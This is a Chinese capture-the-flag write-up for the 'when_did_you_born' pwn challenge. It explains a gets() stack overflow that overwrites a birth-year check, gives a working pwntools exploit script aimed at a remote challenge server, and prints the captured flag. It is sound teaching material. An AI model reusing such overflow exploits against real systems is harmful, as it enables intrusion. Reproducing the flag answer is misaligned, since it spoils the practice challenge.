收获

  • 熟悉 查看文件信息查看文件保护等操作

  • 了解 get() 函数的漏洞,熟悉 exp 的写法

  • 熟悉文件与栈的结构:

    1. 在真实的 elf 文件中,是小地址在上,大地址在下,栈中的数据往上覆盖
    2. IDA 中出于人性化考虑,栈的数据设计为小地址在下,大地址在上,因此栈中的数据往下覆盖

【攻防世界】when_did_you_born


思路

下载得到一个可执行的 elf 文件,在 Ubuntu 下查看文件信息:file <文件名>

攻防世界-when_did_you_born1.png

其中,ELF 64-bit 代表该文件是 64 位 elf 文件LSB 代表文件小端序executable 代表可执行的文件

检查文件保护:

攻防世界-when_did_you_born2.png

开启了金丝雀(Canary),且栈不可执行

尝试执行该文件,测试功能:

攻防世界-when_did_you_born3.png

程序有两个输入,一个输入生日,一个输入姓名,然后输出其他信息

尝试恶意输入:

攻防世界-when_did_you_born4.png

出现溢出

拖入 IDA 分析:

攻防世界-when_did_you_born5.png

根据函数的逻辑,用户先输入生日 v5,如果输入 1926 就输出 "You Cannot Born In 1926!",否则,让用户继续输入姓名 v4,如果 v5 == 1926 就输出 "cat flag"

但是前面又要求 v5 != 1926,因此这里应该是利用 gets() 函数不限制输入长度的特点,让 v4 输入垃圾字符覆盖掉栈中的数据,从而实现修改 v5 的值

确定数据在栈中的位置:

攻防世界-when_did_you_born6.png

需要先从 0x20 的地址覆盖到 0x18 的地址,最后再输入一个 1926 用来覆盖 v5,即可实现

b'a' * (0x20 - 0x18) 表示输入 (0x20 - 0x18) 个字符 'a' 字节,p64(1926) 表示将 1926 打包成 64位 数据

编写 exp 即可


脚本

from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')
content = 0

def main():
    if content == 1:
        io = process("./when")
    else:
        io = remote("220.249.52.133", 37645)

    payload = b'a' * (0x20 - 0x18) + p64(1926)

    io.recvuntil("What's Your Birth?\n")
    io.sendline("999")
    io.recvuntil("What's Your Name?\n")
    io.sendline(payload)

    io.interactive()

main()

结果

cyberpeace{d941686b2efe84df967c1adf72cb4549}

攻防世界-when_did_you_born7.png

输出了:You Shall Have Flag.
执行到:cat: flag: 没有那个文件或目录

程序已经 PWN 通,只是调用的是本地的主机中的 cat 指令,由于本地没有 flag 文件,所以访问不到

将脚本中的 content 改为 0 即可 PWN 远程靶机,执行远程主机的 cat 指令